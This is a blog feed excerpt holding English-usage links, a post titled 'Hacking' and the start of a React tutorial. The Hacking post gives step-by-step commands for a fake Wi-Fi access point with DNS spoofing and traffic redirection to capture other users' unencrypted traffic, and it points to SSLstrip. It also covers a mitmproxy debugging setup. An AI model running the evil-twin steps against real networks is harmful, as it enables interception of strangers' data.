&lt;li&gt;&lt;a href="http://www.learnersdictionary.com/qa/pretty-fairly-really-very-and-quite"&gt;Pretty, fairly, really, very, and quite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.editage.com/insights/scientific-writing-difference-between-almost-and-nearly"&gt;Difference between "almost" and "nearly"&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://grammarist.com/spelling/cancel/"&gt;Canceled vs. cancelled&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.thefreedictionary.com/postst14228_-at-weekends--or--on-weekends-.aspx"&gt;'at weekends' or 'on weekends'&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/32700/difference-between-chance-and-opportunity"&gt;Difference between “chance” and “opportunity”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/194227/how-do-i-use-as-of-now-correctly"&gt;How do I use “as of now” correctly?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.italki.com/question/57702"&gt;from today on , as of today , starting today&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.oxforddictionaries.com/words/learnt-vs-learned"&gt;‘Learnt’ or ‘learned’?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.wordreference.com/threads/whatsoever-vs-whatever.228376/"&gt;Whatsoever Vs. Whatever&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://idioms.thefreedictionary.com/can't+help"&gt;can't help&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/71003/difference-between-think-of-and-think-about"&gt;Difference between “think of” and “think about”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.accountingcoach.com/blog/revenue-income-gain"&gt;What is the difference between revenue, income, and gain?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jakubmarian.com/dot-period-full-stop-and-point-in-english/"&gt;‘Dot’, ‘period’, ‘full stop’, and ‘point’ in English&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/79710/difference-between-slacks-pants-and-trousers"&gt;Difference between “slacks”, “pants”, and “trousers”?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://learnenglish.britishcouncil.org/en/english-grammar/clause-phrase-and-sentence"&gt;Clause, phrase and sentence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.wordreference.com/threads/given-that-provided-that-on-condition-that.167673/"&gt;given that , provided that ,on condition that ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://studyusa.com/en/a/107/what-is-the-difference-between-a-school-college-and-university-in-the-usa"&gt;What is the difference between a school, college and university in the USA?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/137151/through-vs-throughout"&gt;“Through” vs “throughout.”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.anglaisfacile.com/exercices/exercice-anglais-2/exercice-anglais-61575.php"&gt;Had better / would rather&lt;/a&gt; &amp;amp; &lt;a href="http://www.myenglishteacher.eu/blog/difference-between-rather-than-would-rather-had-rather-and-had-better/"&gt;Difference Between Rather Than, Would Rather, Had Rather and Had Better&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dictionary.cambridge.org/grammar/british-grammar/no-longer-not-any-longer"&gt;No longer, not any longer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://grammarist.com/spelling/acknowledgment-acknowledgement/"&gt;Acknowledgement vs. acknowledgment&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://writingcenter.unc.edu/handouts/qualifiers/"&gt;Qualifiers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.bbc.co.uk/worldservice/learningenglish/grammar/learnit/learnitv206.shtml"&gt;however / nevertheless / moreover&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.wordreference.com/threads/use-of-the-verb-to-help-verb.895701/"&gt;Use of the verb: to help + verb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dictionary.reference.com/help/faq/language/g43.html"&gt;try and or try to&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thorstenconsulting.com/serendipity/index.php?/archives/197-Practice-versus-Training-Is-there-a-difference-Business-vs.-Sports.html"&gt;Practice versus Training: Is there a difference?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gingersoftware.com/content/grammar-rules/nouns/gerunds-infinitives/"&gt;Gerunds and Infinitives&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/33443/what-is-the-difference-between-taking-courses-classes-or-lessons"&gt;What is the difference between taking courses, classes or lessons?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.wordreference.com/threads/over-here-there.2692066/"&gt;(over) here/there&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/42259/difference-between-socket-and-outlet"&gt;Difference between “socket” and “outlet”&lt;/a&gt;
  - &lt;a href="http://ell.stackexchange.com/questions/18223/passing-vs-having-passed"&gt;passing vs having passed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.wordreference.com/threads/satisfying-or-satisfactory.334680/"&gt;satisfying or satisfactory?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wiktionary.org/wiki/in_that"&gt;in that&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/91804/is-this-construct-correct-this-one-something"&gt;Is this construct correct? “This one something…”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/111217/is-it-common-to-omit-a-preposition-in-on-of-before-the-month-year-week"&gt;Is it common to omit a preposition (in / on / of) before “the month (year / week /day) when they are used adjectively and adverbially?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/9700/outside-or-outside-of"&gt;“Outside” or “outside of”?&lt;/a&gt; &amp;amp; &lt;a href="http://grammarist.com/usage/outside-of/"&gt;Outside of&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.writersdigest.com/online-editor/lay-vs-lie"&gt;Lay vs. Lie (vs. Laid)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/231026/from-then-on-or-since-then"&gt;“From then on” or “since then”?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/46451/difference-between-smart-and-clever"&gt;Difference between “smart” and “clever”&lt;/a&gt; &amp;amp; &lt;a href="https://www.englishforums.com/English/SmartCleverIntelligent/xphvz/post.htm"&gt;Smart/clever/intelligent?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.quickanddirtytips.com/education/grammar/each-other-versus-one-another"&gt;"Each Other" Versus "One Another"&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/1031/is-using-the-possessive-s-correct-in-the-cars-antenna"&gt;Is using the possessive 's correct in “the car's antenna”?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.quora.com/Birds-Whats-the-difference-between-hawk-falcon-eagle-osprey-and-kite"&gt;Birds: What's are the differences between hawks, falcons, eagles, osprey and kites?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.quickanddirtytips.com/education/grammar/like-versus-such-as"&gt;"Like" Versus "Such As"&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/266275/question-about-the-use-of-in-this-spirit-expression"&gt;Question about the use of “in this spirit” expression&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/29409/why-use-need-not-instead-of-do-not-need-to"&gt;Why use “need not” instead of “do not need to”?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thegrammarexchange.infopop.cc/eve/forums/a/tpc/f/340600179/m/439104541"&gt;too much (an) effort&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/grammar/comments/4ex0c5/arent_i_lucky_is_this_correct/"&gt;"Aren't I lucky?" - is this correct?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.wordreference.com/threads/until-now-up-until-now.112779/"&gt;Until now/up until now&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ell.stackexchange.com/questions/6868/then-at-the-end-of-a-sentence"&gt;“Then” at the end of a sentence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://arc.duke.edu/documents/The%20difference%20between%20assessment%20and%20evaluation.pdf"&gt;What is the difference between assessment and evaluation?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.wordreference.com/threads/compelling-versus-appealing.3045836/"&gt;Compelling versus appealing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.quickanddirtytips.com/education/grammar/ie-versus-eg"&gt;Grammar Girl : I.e. Versus E.g. :: Quick and Dirty Tips&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/EnglishLearning/comments/4m44zl/when_to_use_inadvertently_instead_of_accidentally/"&gt;When to use inadvertently instead of accidentally or unintentionally?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://forum.wordreference.com/threads/fill-in-fill-out-and-fill-up.1453182/"&gt;fill in, fill out, and fill up&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://forum.wordreference.com/threads/aim-at-aim-to.77502/"&gt;aim at / aim to&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://forum.wordreference.com/threads/not-anymore-no-longer-not-any-longer.374150/"&gt;not...anymore ; no longer ; not...any longer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.ties.com/blog/hair-terminology-tell-barber-exactly-want"&gt;HAIR TERMINOLOGY: HOW TO TELL YOUR BARBER EXACTLY WHAT YOU WANT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=yWiS5gQHHtI"&gt;Funny Pronunciation Lesson: Bitch vs Beach, Shit vs Sheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jakubmarian.com/several-thousands-of-vs-several-thousand-in-english/"&gt;‘Several thousands of’ vs. ‘several thousand’ in English&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ell.stackexchange.com/questions/70562/i-work-on-with-in-a-team"&gt;“I work {on/with/in} a team”?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://forum.wordreference.com/threads/do-we-say-of-interest-to-you-or-of-interest-for-you.2797738/"&gt;Do we say "of interest TO you" or "of interest FOR you" ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jakubmarian.com/so-thus-therefore-and-hence-in-english/"&gt;So, thus, therefore, and hence in English&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://english.stackexchange.com/questions/108335/split-in-half-vs-split-in-two-which-one-is-correct"&gt;“Split in half” vs. “split in two” — which one is correct?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ell.stackexchange.com/questions/52949/do-we-say-in-the-meeting-or-at-the-meeting"&gt;Do we say - “in the meeting” or “at the meeting”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.macmillandictionary.com/dictionary/british/then"&gt;then (adjective, adverb) definition and synonyms | Macmillan Dictionary&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="language"></category><category term="english"></category><category term="learning"></category></entry><entry><title>Hacking</title><link href="https://romainpellerin.eu/hacking.html" rel="alternate"></link><published>2016-01-18T23:00:00+01:00</published><updated>2018-11-28T11:26:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-01-18:/hacking.html</id><summary type="html">&lt;p&gt;A handful of useful commands about hacking&lt;/p&gt;</summary><content type="html">&lt;p&gt;This brief article solely contains a few lines of commands, to perform pentesting or network monitoring. It's basically something I might use in the future on my networks or apps, so I'm writing it down as a reminder. I thought it may help other people that's why I decided to put it online. Of course the preferred operating system is &lt;a href="https://www.kali.org/"&gt;Kali&lt;/a&gt; (or any Debian-based distro).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WARNING: only for use on your own networks and devices, the law strictly forbids it otherwise.&lt;/strong&gt;&lt;/p&gt;
&lt;h1 id="fake-ap-access-point"&gt;Fake AP (access point)&lt;/h1&gt;
&lt;p&gt;This technique is about creating a fake access point, similar to one already existing, so that people's computers will try to connect to your fake AP automatically, without them noticing.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Deactivate any firewall first&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Get super user rights&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo su
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install some required packages if not already present&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;aptitude install dnsmasq aircrack-ng
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;List the existing network interfaces and turn one of them into monitor mode&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;airmon-ng
airmon-ng start wlan0 &lt;span class="c1"&gt;# wlan0 is usually Wifi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start monitoring available networks around, and make a quick test&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;airodump-ng mon0
aireplay-ng --test mon0 &lt;span class="c1"&gt;# Test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choose one network and fake it&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;airbase-ng --essid &lt;span class="s1"&gt;&amp;#39;HG655D-1BFF19&amp;#39;&lt;/span&gt; -c &lt;span class="m"&gt;7&lt;/span&gt; -W &lt;span class="m"&gt;1&lt;/span&gt; -Z &lt;span class="m"&gt;2&lt;/span&gt; -v mon0 &lt;span class="c1"&gt;# Fake WPA AP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable packet forwarding&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &amp;gt; /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port &lt;span class="m"&gt;80&lt;/span&gt; -j REDIRECT --to-port &lt;span class="m"&gt;8080&lt;/span&gt;
iptables -t nat -A PREROUTING -p tcp --destination-port &lt;span class="m"&gt;443&lt;/span&gt; -j REDIRECT --to-port &lt;span class="m"&gt;8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Write what follows in &lt;code&gt;/etc/dnsmasq.conf&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;interface=at0
dhcp-range=192.168.0.50,192.168.0.150,12h
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Do some other things for which I can't recall the usefulness right now (but I promise to update the article as soon as I do):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ifconfig at0 &lt;span class="m"&gt;192&lt;/span&gt;.168.0.1 up
dnsmasq &lt;span class="c1"&gt;# pkill dnsmasq if needed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Write what follows in &lt;code&gt;/tmp/tests.conf&lt;/code&gt; (&lt;code&gt;&amp;lt;tab&amp;gt;&lt;/code&gt; means you have to hit the tab key):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.0.1&amp;lt;tab&amp;gt;*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run &lt;code&gt;dnsspoof&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dnsspoof -i wlan0 -f /tmp/tests.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finally, start a webserver (Apache or using Python, or whatever)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3 -m http.server &lt;span class="m"&gt;8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And you're good! All the clear traffic will pop up right in front of your eyes. To deal with HTTPS connections, have a look at &lt;a href="http://www.thoughtcrime.org/software/sslstrip/"&gt;SSLstrip&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Encountering problems with DNSspoof? &lt;a href="https://forums.hak5.org/index.php?/topic/29166-dnsspoof-problem/"&gt;Have a look there.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.backtrack-linux.org/forums/showthread.php?t=61240"&gt;More information about faking APs.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/"&gt;Another interesting tutorial ("Kali Linux Evil Wireless Access Point").&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="mitm"&gt;MITM&lt;/h1&gt;
&lt;p&gt;This is a commonly used technique to "put yourself" between a target user and an access point, in order to see all the traffic this user might send and receive.&lt;/p&gt;
&lt;h2 id="mitm-on-android"&gt;MITM on Android&lt;/h2&gt;
&lt;p&gt;On Android, it has the advantage of allowing you to monitor your outcoming traffic, which is useful when debugging your own apps.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Grant yourself super user rights and enable packet forwarding on the right interface (here &lt;code&gt;eth0&lt;/code&gt; which is the Ethernet connection):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo su
sysctl -w net.ipv4.ip_forward&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport &lt;span class="m"&gt;80&lt;/span&gt; -j REDIRECT --to-port &lt;span class="m"&gt;8080&lt;/span&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport &lt;span class="m"&gt;443&lt;/span&gt; -j REDIRECT --to-port &lt;span class="m"&gt;8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install the required dependencies and mitmproxy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt-get install python-pip python-dev libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev
easy_install mitmproxy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can as well &lt;a href="http://docs.mitmproxy.org/en/stable/install.html#installation-on-ubuntu"&gt;download mitmproxy and install it manually&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mitmproxy -T --no-upstream-cert --host &lt;span class="o"&gt;[&lt;/span&gt;-p &lt;span class="m"&gt;8080&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# -p is optional as 8080 is the default port&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The argument &lt;code&gt;-T&lt;/code&gt; is for &lt;em&gt;transparent&lt;/em&gt;. If you don't go for transparent, then the 3 lines about packet forwarding (point 1.) are useless (or maybe not, I can't remember).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On your Android device:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the current Wifi settings (long-press on the connected network).&lt;ul&gt;
&lt;li&gt;If you decided to do transparent proxying (see above), set proxy to your computer's IP and port 8080, like: &lt;code&gt;192.168.1.2:8080&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If you decided not to do transparent proxying (see above), don't set the proxy and instead set the IP to be static rather than using DHCP. Then write your computer's IP as the gateway.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Go to the website &lt;a href="http://mitm.it"&gt;mitm.it&lt;/a&gt; and click on the Android icon to install the certificate. If this doesn't work (website unreachable), push the certificate manually from your computer (run the following command from your computer):&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;adb push ~/.mitmproxy/mitmproxy-ca-cert.cer /sdcard/Download
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Then you'll see the traffic in your terminal going through!&lt;/p&gt;
&lt;p&gt;This part has been inspired from &lt;a href="https://medium.com/@rotxed/how-to-debug-http-s-traffic-on-android-7fbe5d2a34"&gt;this article&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="other-tools"&gt;Other tools&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/xdavidhu/mitmAP"&gt;mitmAP - A python program, to create a fake AP, and sniff data&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="other-related-topics"&gt;Other related topics&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.gvrachliotis.net/2013/10/how-to-reset-user-password-in-windows.html"&gt;How to: Reset user password in Windows 7/8/8.1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nolimitsecu.fr/les-denis-de-service/"&gt;Les dénies de services&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/wifi-ouvert-attention-aux-faux-hotspot-demo-module-arduino.html"&gt;Wifi ouvert – Attention aux faux hotspot ! (+ une démo avec un module Arduino)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/"&gt;How I Cracked a Keylogger and Ended Up in Someone's Inbox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://defaultnamehere.tumblr.com/post/147747146865/stalking-your-facebook-friends-on-tinder"&gt;Stalking your Facebook friends on Tinder&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.secureideas.com/2013/05/professionally-evil-this-is-not.html"&gt;Professionally Evil: This is NOT the Wireless Access Point You are Looking For&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://phreaklets.blogspot.kr/2013/06/cracking-wireless-networks-protected.html?m=1"&gt;Phreaklets: Cracking WPA2 Enterprise wireless networks with FreeRADIUS WPE, hostapd and asleap &amp;amp; John the Ripper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.guiguishow.info/2016/10/12/tp-mobilite-et-reseaux-sans-fil-reseau-sans-fil-securise-et-monitore-mobilite-ipv6/"&gt;TP Mobilité et réseaux sans fil : réseau sans fil sécurisé et monitoré + mobilité IPv6&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.robertputt.co.uk/2016/11/28/learn-from-your-attackers-ssh-honeypot/"&gt;Learn from your attackers – SSH HoneyPot&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@chrismcnab/alexseys-ttps-1204d9050551"&gt;Alexsey’s TTPs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.piotrbania.com/all/kon-boot/"&gt;KON-BOOT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://korben.info/rickroller-spotify.html"&gt;Rickroller Spotify !&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://null-byte.wonderhowto.com/"&gt;Null Byte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/"&gt;Tabnabbing: A New Type of Phishing Attack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mathiasbynens.github.io/rel-noopener/"&gt;About rel=noopener&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/trustedsec/social-engineer-toolkit"&gt;social-engineer-toolkit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mango.pdf.zone/"&gt;mango.pdf.zone&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"></category><category term="hacking"></category><category term="kali"></category><category term="security"></category><category term="android"></category><category term="mitm"></category><category term="linux"></category></entry><entry><title>React</title><link href="https://romainpellerin.eu/react.html" rel="alternate"></link><published>2016-01-08T01:00:00+01:00</published><updated>2021-02-03T00:01:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-01-08:/react.html</id><summary type="html">&lt;p&gt;A quick introduction to React.js&lt;/p&gt;</summary><content type="html">&lt;p&gt;First of all, I wish you a Happy New Year. May it be full of happiness and lines of code :-)&lt;/p&gt;
&lt;p&gt;Let's now talk about the new hotness, a JavaScript library getting more and more trendy, with an unceasingly growing community: &lt;a href="https://facebook.github.io/react/"&gt;React&lt;/a&gt;. It's under active development these days, powered by Facebook (and initially created by). Basically, it's meant to build user interfaces in a web context, but recently &lt;a href="https://facebook.github.io/react-native/"&gt;they also exported it to mobile development&lt;/a&gt;, alloying anyone to write some kind of cross-platform code for both Android and iOS, in JavaScript, just like Appcelerator Titanium.&lt;/p&gt;
&lt;p&gt;At the present time, I'm still getting acquinted with it, but here are a few pieces of advice about how to &lt;a href="https://facebook.github.io/react/docs/getting-started.html"&gt;get started&lt;/a&gt; &lt;strong&gt;correctly&lt;/strong&gt;.&lt;/p&gt;
&lt;h1 id="must-read"&gt;Must read&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/petehunt/react-howto"&gt;react-howto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/petehunt/webpack-howto"&gt;webpack-howto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/hjs-webpack"&gt;Presets for setting up webpack with hotloading react and ES6(2015) using Babel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://rackt.org/redux/index.html"&gt;Redux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0#.u601nht6y"&gt;Smart and Dumb Components&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://react.parts/native"&gt;React modules&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/jnhuynh/86693d8b485f4d335300"&gt;Project structure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@sapegin/react-and-redux-single-page-applications-resources-22cd859b0c1d"&gt;React and Redux Single Page Applications Resources&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://overreacted.io/"&gt;Overreacted&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://overreacted.io/react-as-a-ui-runtime/"&gt;React as a UI Runtime&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="how-to"&gt;How to&lt;/h1&gt;
&lt;p&gt;You have 2 main tools of choice, to compile it into some browser-compliant package: Webpack or Browserify. I personally decided to go with the former, as it's the most popular and offer more possibilites. Briefly, how to start a new project with webpack:&lt;/p&gt;
